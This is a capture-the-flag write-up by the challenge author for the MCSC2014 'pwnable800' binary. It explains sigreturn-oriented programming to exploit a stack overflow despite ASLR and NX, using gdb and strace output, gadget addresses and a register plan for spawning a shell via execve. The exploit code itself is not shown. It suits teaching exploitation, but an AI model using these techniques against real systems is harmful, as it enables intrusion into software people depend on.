This is a writeup for pwnable800 using sigreturn Return Oriented Programming exploitation , it is a new and useful exploitation approach when you don't have enough gadgets to make a reliable ROP chain . This was introduced by Erik Bosman in OHM2013 .
Return to signals Exploitation trick is very generic, thus it makes a good exploitation reliability.
I was a CTF ogranizer in MCSC2014 computer security contest in ENSIAS,Rabat , I've made a binary with 800 points and it was one of the highest levels since sigreturn ROP still not a common technique. Unfortunately , no team has solved it , that's why I decided to write something about it.
You can download it from here : https://github.com/0x36/MCSC2014/tree/master/pwnables/p800
The code is very small and easy to spot where the vulnerability is , it is a basic stack based overflow with full controll of the stack.
s36@hacker:~/MCSC2014/pwnables/p800 on master # gdb -q tinypwn
Reading symbols from /home/s36/MCSC2014/pwnables/p800/tinypwn...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/s36/MCSC2014/pwnables/p800/tinypwn
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) x/10xw $sp
0xfffac494: 0x61616161 0x61616161 0x61616161 0x61616161
0xfffac4a4: 0x61616161 0x61616161 0x61616161 0xfffac80a
0xfffac4b4: 0xfffac854 0xfffac868
(gdb)
it looks like easy , let's take a look at the security features
s36@hacker:~/MCSC2014/pwnables/p800 on master # cat /proc/sys/kernel/randomize_va_space 2
s36@hacker:~/MCSC2014/pwnables/p800 on master # readelf -l tinypwn |grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
s36@hacker:~/MCSC2014/pwnables/p800 on master # cat /proc/$(pidof tinypwn)/maps
08048000-08049000 r-xp 00000000 08:07 1323462 /home/s36/MCSC2014/pwnables/p800/tinypwn
f77d2000-f77d3000 r-xp 00000000 00:00 0 [vdso]
fff8c000-fffad000 rw-p 00000000 00:00 0 [stack]
ASLR and NX (in modern distros) are enabled by default ,so we can't jump into our user input (shellcode) in the stack . Time for ROP exploitation.
(gdb) x/5i 0xf77c342e
0xf77c342e <__kernel_vsyscall+14>: int 0x80
0xf77c3430 <__kernel_vsyscall+16>: pop ebp
0xf77c3431 <__kernel_vsyscall+17>: pop edx
0xf77c3432 <__kernel_vsyscall+18>: pop ecx
0xf77c3433 <__kernel_vsyscall+19>: ret
(gdb) x/2i 0x08048107
0x08048107 <+17>: int 0x80
0x08048109 <+19>: ret
we were looking for some rop gadgets , we found only two gadgets one in vdso section and the other in the binary itself , so we can control ebp,edx,ecx but there is no way to control ebx .
Time for sigreturn(unsigned long __unused) exploitation technique , all we need is a gadget for « int 0x80;ret » and a control of eax .
read() syscall returns the number of bytes being read , we should set __NR_sigreturn in eax register and overwrite EIP with « int 0x80;ret » gadget.
s36@hacker:~/MCSC2014/pwnables/p800 on master # strace -e sigreturn -ff ./poc 139 ↵ ✭
[ Process PID=6243 runs in 32 bit mode. ]
sigreturn() = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++
[1] 6242 segmentation fault strace -e sigreturn -ff ./poc
sigreturn() is successefully called , let's take a look at it using gdb .
(gdb) r
Starting program: /home/s36/MCSC2014/pwnables/p800/poc
process 1849 is executing new program: /home/s36/MCSC2014/pwnables/p800/tinypwn
Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xcccccccc -858993460
edx 0xcccccccc -858993460
ebx 0xcccccccc -858993460
esp 0xcccccccc 0xcccccccc
ebp 0xcccccccc 0xcccccccc
esi 0xcccccccc -858993460
edi 0xcccccccc -858993460
eip 0xcccccccc 0xcccccccc
eflags 0x40ec6 [ PF ZF SF IF DF OF AC ]
cs 0xcccf 52431
ss 0xcccf 52431
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
perfect ! we are controlling all registers , but eax has 0 because the segment registers doesn't have the right values .
It'd be easy to get those values by writing some lines of Assembly code to get %cs,%ds,%fs and%gs segment register values .
%esp and %ebp must point to a writeable memory address .
Finally, we can do an infinite ROP chain , the final rop chain will be : segreturn() + execve().
We must have a static address pointing to a NULL terminated string to make it as the first argument of execve() syscall .
(gdb) x/s 0x80480ef
0x80480ef <aMsg+14>: "badass"
final rop chain :
eax = 11
ebx = a string pointer
ecx = 0
edx = 0
eip = « int 0x80 »
Final Exploit :
.
RetroSearch is an open source project built by @garambo | Open a GitHub Issue
Search and Browse the WWW like it's 1997 | Search results from DuckDuckGo
HTML:
3.2
| Encoding:
UTF-8
| Version:
0.7.4